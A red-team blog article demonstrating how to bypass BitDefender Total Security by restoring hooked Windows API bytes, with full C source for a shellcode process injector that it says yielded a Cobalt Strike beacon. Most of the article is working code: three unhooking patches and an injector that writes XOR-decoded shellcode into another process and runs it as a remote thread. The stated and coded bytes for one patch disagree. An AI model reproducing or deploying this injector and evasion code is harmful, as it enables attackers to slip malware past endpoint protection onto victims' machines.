Introduction

Bypassing endpoint protections such as AVs/EDRs is a crucial phase when preparing for red team operations. This article demonstrates how to bypass BitDefender total security using Windows API unhooking to achieve process injection and obtain an active Cobalt Strike beacon.

What is API Hooking?

API hooking is a method used to intercept and inspect Win32 API calls. Security solutions employ this technique to monitor API calls and determine legitimacy. The mechanism works by inserting a JMP instruction to redirect execution to a custom module controlled by the security solution, which then inspects the call and its arguments.

For detailed information on API hooking implementation, see this article by spotless.

Process Injection Attempt

Using shellcode encoding and in-memory decoding techniques (as discussed in previous work), the following code was created:

#include <windows.h>

// This code was written for researching purpose, you have to edit it before using it in real-world
// This code will decode your shellcode and write it directly to the memory

int main(int argc, char* argv[]) {

// Our Shellcode
unsigned char shellcode[] = "MyEncodedshellcode";

// Check arguments counter
if(argc != 2){
	printf("[+] Usage : decoder.exe [PID]\n");
	exit(0);
}

// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);

// Define the base_address variable which will save the allocated memory address
LPVOID base_address;

// Retrieve the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

    if (process) {
        printf("[+] Handle retrieved successfully!\n");
        printf("[+] Handle value is %p\n", process);
        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (base_address) {
            printf("[+] Allocated based address is 0x%x\n", base_address);

			// Data chars counter
			int i;

			// Base address counter
			int n = 0;

			for(i = 0; i<=sizeof(shellcode); i++){

				// Decode shellcode opcode (you can edit it based on your encoder settings)
				char DecodedOpCode = shellcode[i] ^ 0x01;

				// Write the decoded bytes in memory address
				if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){

            // Write the memory address where the data was written
					printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);

					// Increase memory address by 1
					n++;
				}

			}

			// Run our code as RemoteThread
			CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, NULL, 0x50002);

        }
        else {
            printf("[+] Unable to allocate memory ..\n");
        }
    }
    else {
        printf("[-] Enable to retrieve process handle\n");
    }

}

Result: BitDefender detected and blocked the execution, deleting the injector file.

Detecting the Hook

Debugging the executable revealed that atcuf64.dll (a BitDefender module) was injected. Analysis of CreateRemoteThread showed it eventually calls CreateRemoteThreadEx, which contained suspicious instructions:

Disassembly of CreateRemoteThreadEx

The function began with a JMP instruction redirecting to atcuf64.dll:

JMP to atcuf64.dll

This confirmed that CreateRemoteThreadEx was hooked by BitDefender’s monitoring module.

API Unhooking Concept

API unhooking restores hooked APIs to their original status by:

  1. Reading the original bytes from the unhooked DLL via debugger
  2. Writing those bytes back to replace the manipulated JMP instruction

To obtain original bytes, open the relevant DLL in x64dbg and disassemble the target function:

CreateRemoteThreadEx original bytes

The original bytes for CreateRemoteThreadEx are: 4C 8B DC 53 56 (5 bytes replaced by the JMP hook).

First Patch: Unhooking CreateRemoteThreadEx

// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)

HANDLE kernalbase_handle = GetModuleHandle("kernelbase");

LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");

printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);

if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
	
	printf("[+] CreateRemoteThreadEx unhooking done!\n");
}

This code retrieves the module handle for kernelbase.dll, locates CreateRemoteThreadEx, and overwrites the hook with original bytes using WriteProcessMemory.

After patching, disassembly confirmed restoration:

CreateRemoteThreadEx patched

However, execution still failed when the full injector ran, indicating another hooked API was being triggered.

Second Patch: Unhooking NtWriteVirtualMemory

Further investigation revealed that WriteProcessMemory (used repeatedly to write shellcode bytes) calls the underlying NtWriteVirtualMemory, which was also hooked:

NtWriteVirtualMemory hooked

The original bytes for NtWriteVirtualMemory are: 4C 8B D1 B8 3C

// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll)
// Unhooked it because it gets detected while calling it multiple times

HANDLE ntdll_handle = GetModuleHandle("ntdll");

LPVOID NtWriteVirtualMemory_Address = GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");

printf("[+] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);

if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){
	
	printf("[+] NtWriteVirtualMemory unkooking done!\n");
}

Third Patch: Unhooking ZwCreateThreadEx

Analysis showed that CreateRemoteThreadEx depends on the underlying ZwCreateThreadEx, which was also hooked:

ZwCreateThreadEx hooked

The original bytes for ZwCreateThreadEx are: 4C 8B D1 B8 C1

// Patch 3 to unhook ZwCreateThreadEx (ntdll.dll)

LPVOID ZWCreateThreadEx_address = GetProcAddress(ntdll_handle, "ZwCreateThreadEx");

printf("[+] ZwCreateThreadEx address is : %p\n", ZWCreateThreadEx_address);

if (WriteProcessMemory(GetCurrentProcess(), ZWCreateThreadEx_address, "\x4C\x8B\xD1\xB8\xC1", 5 , NULL)){
	
	printf("[+] ZwCreateThreadEx unhooking done!\n");
}

Complete Injector Code

#include <windows.h>

// This code was written for researching purpose, you have to edit it before using it in real-world
// This code will decode your shellcode and write it directly to the memory using WIN32APIs
// This code will unhook a couple of WIN32 APIs that was hooked by Bit defender total security

int main(int argc, char* argv[]) {
	
// Our Shellcode
unsigned char shellcode[] = "";

// Check arguments counter
if(argc != 2){
	printf("[+] Usage : injector.exe [PID]\n");
	exit(0);
}

// The process id we want to inject our code to passed to the executable
// Use GetCurrentProcessId() to inject the shellcode into original process
int process_id = atoi(argv[1]);

// Patch 1 to unhook CreateRemoteThreadEx (kernelbase.dll)
HANDLE kernalbase_handle = GetModuleHandle("kernelbase");

LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");

printf("[+] CreateRemoteThreadEx address is : %p\n", CRT_address);

if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){
	printf("[+] CreateRemoteThreadEx unhooking done!\n");
}

// Patch 2 to unhook NtWriteVirtualMemory (ntdll.dll) 
// Unhooked it because it gets detected while calling it multiple times

HANDLE ntdll_handle = GetModuleHandle("ntdll");

LPVOID NtWriteVirtualMemory_Address = GetProcAddress(ntdll_handle, "NtWriteVirtualMemory");

printf("[+] NtWriteVirtualMemory address is : %p\n", NtWriteVirtualMemory_Address);

if (WriteProcessMemory(GetCurrentProcess(), NtWriteVirtualMemory_Address, "\x4C\x8B\xD1\xB8\x3A", 5 , NULL)){
	printf("[+] NtWriteVirtualMemory unkooking done!\n");
}

// Patch 3 to unhook ZwCreateThreadEx (ntdll.dll)
LPVOID ZWCreateThreadEx_address = GetProcAddress(ntdll_handle, "ZwCreateThreadEx");

printf("[+] ZwCreateThreadEx address is : %p\n", ZWCreateThreadEx_address);

if (WriteProcessMemory(GetCurrentProcess(), ZWCreateThreadEx_address, "\x4C\x8B\xD1\xB8\xC1", 5 , NULL)){
	printf("[+] ZwCreateThreadEx unhooking done!\n");
}

// Define the base_address variable which will save the allocated memory address
LPVOID base_address;

// Retrieve the process handle using OpenProcess
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);

    if (process) {
        printf("[+] Handle retrieved successfully!\n");
        printf("[+] Handle value is %p\n", process);
        base_address = VirtualAllocEx(process, NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (base_address) {
            printf("[+] Allocated based address is 0x%x\n", base_address);

			// Data chars counter
			int i;

			// Base address counter
			int n = 0;

			for(i = 0; i<=sizeof(shellcode); i++){

				// Decode shellcode opcode (you can edit it based on your encoder settings)
				char DecodedOpCode = shellcode[i] ^ 0x01;

				// Write the decoded bytes in memory address
				if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){

            // Write the memory address where the data was written
					printf("[+] Byte 0x%X wrote sucessfully! at 0x%X\n", DecodedOpCode, base_address + n);

					// Increase memory address by 1
					n++;
				}

			}

			// Run our code as RemoteThread
			CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x1337);

        }
        else {
            printf("[+] Unable to allocate memory ..\n");
        }
    }
    else {
        printf("[-] Enable to retrieve process h2andle\n");
    }

}

Results

After compiling with all three patches, the injector executed successfully without triggering any BitDefender alerts:

Execution successful

The technique resulted in obtaining an active Cobalt Strike beacon on the target system:

Cobalt Strike beacon

Resources

Credit to spotless for research on API hooking and bypassing security solutions through API unhooking.